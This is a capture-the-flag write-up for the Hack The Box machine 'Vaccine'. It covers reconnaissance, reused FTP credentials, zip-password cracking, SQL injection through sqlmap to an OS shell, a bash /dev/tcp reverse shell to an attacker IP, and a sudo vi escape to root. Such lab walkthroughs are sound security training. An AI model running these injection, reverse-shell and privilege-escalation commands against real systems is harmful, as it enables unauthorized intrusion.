

# hackthebox.eu box “Vaccine”

## 1. Recon

### nmap

```
1 vagrant@vagrant-virtualbox ~> nmap 10.10.10.46 -sV -sC
2 Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-31 14:53 CDT
3 Nmap scan report for 10.10.10.46
4 Host is up (0.049s latency).
5 Not shown: 997 closed ports
6 PORT      STATE SERVICE VERSION
7 21/tcp    open  ftp      vsftpd 3.0.3
8 22/tcp    open  ssh      OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
9 | ssh-hostkey:
10 |   3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
11 |   256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
12 |_  256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
13 80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
14 | http-cookie-flags:
15 |   /:
16 |     PHPSESSID:
17 |_     httponly flag not set
18 |_http-server-header: Apache/2.4.41 (Ubuntu)
19 |_http-title: MegaCorp Login
20 Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
21
22 Service detection performed. Please report any incorrect results at
23 https://nmap.org/submit/ .
24 Nmap done: 1 IP address (1 host up) scanned in 10.57 seconds
```

We can see that ftp, ssh, and http are open services.

## 2. FTP credentials

Reusing credentials from the previous box, ‘Oopsie’, from FileZilla XML file:

```
1 <?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
2 <FileZilla3>
3   <RecentServers>
4     <Server>
5       <Host>10.10.10.46</Host>
6       <Port>21</Port>
7       <Protocol>0</Protocol>
8       <Type>0</Type>
9       <User>ftpuser</User>
10      <Pass>mc@F1l3Zill4</Pass>
11      <Logontype>1</Logontype>
12      <TimezoneOffset>0</TimezoneOffset>
13      <PasvMode>MODE_DEFAULT</PasvMode>
14      <MaximumMultipleConnections>0</MaximumMultipleConnections>
15      <EncodingType>Auto</EncodingType>
16      <BypassProxy>0</BypassProxy>
17    </Server>
18  </RecentServers>
19 </FileZilla3>
```

We connect and download backup.zip file.

### 3. Cracking the zip file password

I used the rockyou.txt wordlist to crack the zip file's password.

```
1 fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
```

The password ended up being 741852963.

### 4. Hardcoded password hash

In index.php on line 5, we can see this:

```
1 if($_POST['username'] === 'admin' && md5($_POST['password']) ===  
   "2cb42f8734ea607eefed3b70af13bbd3") {
```

This means our cred is

```
1 admin:2cb42f8734ea607eefed3b70af13bbd3
```

I used an online md5 database, and retrieved:

```
1 admin:qwerty789
```

I could have used hashcat if the online md5 database did not yield results.

### 5. Logging into the site

I logged into the site using admin:qwerty789 and noticed an SQL injectable form.

http://10.10.10.46/dashboard.php?search=a

### 6. SQL Injection into reverse shell

So I got the PHPSESSID cookie and got a reverse shell.

```
1 sqlmap "http://10.10.10.46/dashboard.php?search=test"  
   --cookie="PHPSESSID=jvf28f80n6p99j8nkfa9nq3tmm" --os-shell --random-agent
```

I then started a new one as sqlmap's reverse shell is limited.

#### Upgrading from sqlmap reverse shell

Attacker runs (to receive TCP connection):

```
1 nc -lvp 1234
```

Victim runs (to establish TCP connection):

```
1 bash -c 'bash -i >& /dev/tcp/10.10.14.184/1234 0>&1'
```

And to upgrade shell:

```
1 SHELL=/bin/bash script -q /dev/null
```

We are now logged in as the postgres user.

## 7. More hardcoded credentials

We cd to /var/www/, and inside dashboard.php on line 41 is this line:

```
1 $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres
    password=P@s5w0rd!");
```

## 8. Using vi to get a root shell

Now we can run `sudo -l` to list the commands that `postgres` is allowed to run.

```
1 postgres@vaccine:/var/www/html$ sudo -l
2 sudo -l
3 [sudo] password for postgres: P@s5w0rd!
4
5 Matching Defaults entries for postgres on vaccine:
6     env_reset, mail_badpass,
7     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
8
9 User postgres may run the following commands on vaccine:
10     (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

So we can run `/bin/vi /etc/postgresql/11/main/pg_hba.conf`.

If I run `vi` as root with:

```
1 sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

And then, inside `vi`, type:

```
1 <ESC>:!/bin/bash<ENTER>
```

I should spawn a root shell. Let's try it.

See the wonky output below. Line 11. `^[` is `<ESC>`. Below the content of the `/etc/postgresql/11/main/pg_hba.conf` file, you can see shell commands.

```
1 # DO NOT DISABLE!
2 # If you change this first entry you will need to make sure that the
3 # database superuser can access the database using some other method.
4 # Noninteractive access to all databases is required during automatic
5 # maintenance (custom daily cronjobs, replication, and similar tasks).
6 #
7 # Database administrative login by Unix domain socket
8
9 # TYPE  DATABASE        USER            ADDRESS                 METHOD
10
11 local  all              postgres                                iden^[:!/bin/bash
    <-----/
12 # "local" is for Unix domain socket connections only
13 local  all              all                                peer
14 # IPv4 local connections:
15 host   all              all              127.0.0.1/32            md5
16 # IPv6 local connections:
17 host   all              all              ::1/128                 md5
18 # Allow replication connections from localhost, by a user with the
19 # replication privilege.
```

```
20 local    replication    all                                peer
21 host     replication    all                                127.0.0.1/32    md5
22 host     replication    all                                ::1/128         md5
23 :!/bin/bash
24 root@vaccine:/var/lib/postgresql/11/main# whoami
25 whoami
26 root
27 root@vaccine:/var/lib/postgresql/11/main#
```

We're root!